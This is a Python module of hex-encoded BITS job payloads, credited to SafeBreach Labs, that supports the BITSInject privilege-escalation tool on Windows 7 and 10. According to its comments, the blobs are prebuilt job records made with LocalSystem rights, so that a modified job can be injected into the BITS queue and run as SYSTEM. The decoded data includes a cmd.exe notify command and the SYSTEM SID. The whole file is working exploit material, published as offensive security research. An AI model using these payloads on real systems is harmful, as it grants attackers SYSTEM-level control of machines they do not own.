BITSJobPayloads.py

"""
Side payloads for BITSInject.py

Reference: https://github.com/SafeBreach-Labs/BITSInject

Author: Dor Azouri <dor.azouri@safebreach.com>
Date: 2017-07-18T11:24:40Z
"""

# Version-dependent base job payloads. Used by BITInject.py to construct modified job payloads to inject to queue.
# These job payloads were both created with LocalSystem rights to allow SYSTEM job injection
SYSTEM_JOB_BASE_HEX = {
    7: """93362035A00C104A84F3B17E7B499CD700000000020000000000000000000000C00A1281B535EF499C1A0EE3D5572FFC0400000054005400540000000100000000001C00000063003A005C00770069006E0064006F00770073005C00730079007300740065006D00330032005C0063006D0064002E0065007800650000000100000000000900000053002D0031002D0035002D003100380000000300000001000000004000000000000000000000AC41EE5A7804000001001F80600400006C04000014000000040400000400F003010000001100140001000000010100000000001000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002005C0004000000010014003F000F00010100000000000507000000010014003F000F00010100000000000502000000000014003F000F00010100000000000512000000000018003F000F000102000000000005200000002002000001010000000000051200000001010000000000051200000036DA56776F515A43ACAC44A248FFF34D010000001800000063003A005C00740065006D0070005C005F00620069007400730032005C0076006C00630033002E0065007800650000004B00000068007400740070003A002F002F006D006900720072006F0072002E00690073006F0063002E006F00720067002E0069006C002F007000750062002F0076006900640065006F006C0061006E002F0076006C0063002F0032002E0032002E0034002F00770069006E00360034002F0076006C0063002D0032002E0032002E0034002D00770069006E00360034002E0065007800650000001B00000063003A005C00740065006D0070005C005F00620069007400730032005C0042004900540033003600420045002E0074006D00700000000000000000000000FFFFFFFFFFFFFFFF000400000063003A005C000000320000005C005C003F005C0056006F006C0075006D0065007B00390061003200320032006400390032002D0033003900390064002D0031003100650035002D0038006500330061002D003800300036006500360066003600650036003900360033007D005C0000000300000030803D04FFFFFFFFFFFFFFFF80000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000036DA56776F515A43ACAC44A248FFF34D00000000000000005802000000751200A17ACE9C6A96D2016D5F937B7096D2016D5F937B7096D20100000000000000000000000000016D5F937B7096D2016DDFC06429DDD201000000000000000000000000000000000000000000000100000000000000000001000000000000000000000000000000000000A77600000000000000000093362035A00C104A84F3B17E7B499CD7""",
    10: """B346ED3D3B10F944BC2FE8378BD3198600000000020000000000000000000000445C262F06D6F440BA5E3C269739AA3705000000530054005300540000000100000000001C00000063003A005C00770069006E0064006F00770073005C00530079007300740065006D00330032005C0063006D0064002E0065007800650000000100000000000900000053002D0031002D0035002D0031003800000003000000010000000040000000000000010000006FCC64F37C04000001001F80640400007004000014000000040400000400F00301000000110014000100000001010000000000100040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200600004000000010014003F000F00010100000000000507000000000014003F000F00010100000000000512000000000018003F000F0001020000000000052000000020020000000018003F000F000102000000000005200000004402000001010000000000051200000001010000000000051200000036DA56776F515A43ACAC44A248FFF34D010000001000000063003A005C00740065006D0070005C0076006C0063002E0065007800650000003C00000068007400740070003A002F002F006700650074002E0076006900640065006F006C0061006E002E006F00720067002F0076006C0063002F0032002E0032002E0034002F00770069006E00360034002F0076006C0063002D0032002E0032002E0034002D00770069006E00360034002E0065007800650000001400000063003A005C00740065006D0070005C0042004900540046004600430031002E0074006D0070000000012700000000000098F6E30100000000000400000063003A005C000000320000005C005C003F005C0056006F006C0075006D0065007B00320061003100330065003100370031002D0034006400650039002D0034003300620031002D0038003700300062002D003900300034003200330039006100330062006600310062007D005C0000000300000029730CC298F6E30100000000800000000000000000000000000061000816BCD10100000000000000000000000000000000000000000127000000000000000000000000000036DA56776F515A43ACAC44A248FFF34D000000000000000058020000007512004F81745AA0F8D201701B7FE3A0F8D201701B7FE3A0F8D2010000000000000000000000000001701B7FE3A0F8D201709BACCC593FD301000000000000000000000000000000000000000000000100000000000000000001000000000000000000000000000000000000A7760000000000000000006700008000000000000000000000000000000000000000000000000000000000000000000000000000000000000001B346ED3D3B10F944BC2FE8378BD31986"""
}